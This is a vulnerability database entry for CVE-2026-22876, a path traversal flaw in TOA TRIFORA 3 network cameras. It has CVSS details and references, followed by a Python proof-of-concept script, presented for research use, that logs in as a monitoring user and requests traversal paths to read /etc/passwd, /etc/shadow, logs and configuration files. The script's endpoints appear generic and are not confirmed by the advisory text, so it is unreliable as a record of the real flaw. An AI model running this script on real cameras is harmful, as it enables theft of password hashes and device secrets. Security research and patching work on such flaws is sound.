CVE-2026-22876

Description

Path Traversal vulnerability exists in multiple Network Cameras TRIFORA 3 series provided by TOA Corporation. If this vulnerability is exploited, arbitrary files on the affected product may be retrieved by a logged-in user with the low("monitoring user") or higher privilege.

CVSS Details

CVSS Score

6.5

Severity

MEDIUM

CVSS Vector

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

No configuration data available.

TOA TRIFORA 3 series Network Cameras (all firmware versions prior to patch)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-22876 PoC - Path Traversal in TOA TRIFORA 3 Cameras
# Target: TOA TRIFORA 3 Series Network Camera

TARGET = "http://target-camera-ip"
USERNAME = "monitoring_user"
PASSWORD = "user_password"

def exploit_path_traversal():
    """Exploit path traversal to read arbitrary files"""
    # Login to get session
    login_url = f"{TARGET}/cgi-bin/admin/login"
    session = requests.Session()
    
    # Attempt login
    login_data = {
        "username": USERNAME,
        "password": PASSWORD
    }
    
    try:
        # Login request
        resp = session.post(login_url, data=login_data, timeout=10)
        
        # Path traversal file read
        files_to_read = [
            "../../../../etc/passwd",
            "../../../../etc/shadow",
            "../../../../var/log/messages",
            "../../../../etc/config/system.conf"
        ]
        
        for file_path in files_to_read:
            exploit_url = f"{TARGET}/cgi-bin/admin/fileRead?path={file_path}"
            response = session.get(exploit_url, timeout=10)
            
            if response.status_code == 200:
                print(f"[+] Successfully read: {file_path}")
                print(response.text[:500])
                
    except requests.exceptions.RequestException as e:
        print(f"[-] Error: {e}")

if __name__ == "__main__":
    print("CVE-2026-22876 PoC - TOA TRIFORA 3 Path Traversal")
    exploit_path_traversal()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-22876
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-22876
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-22876/
[4] VulDB https://vuldb.com/cve/CVE-2026-22876
[5] https://jvn.jp/en/jp/JVN08087148/
[6] https://www.toa-products.com/securityinfo/pdf/tv2025-001jp.pdf

Raw JSON Data

JSON

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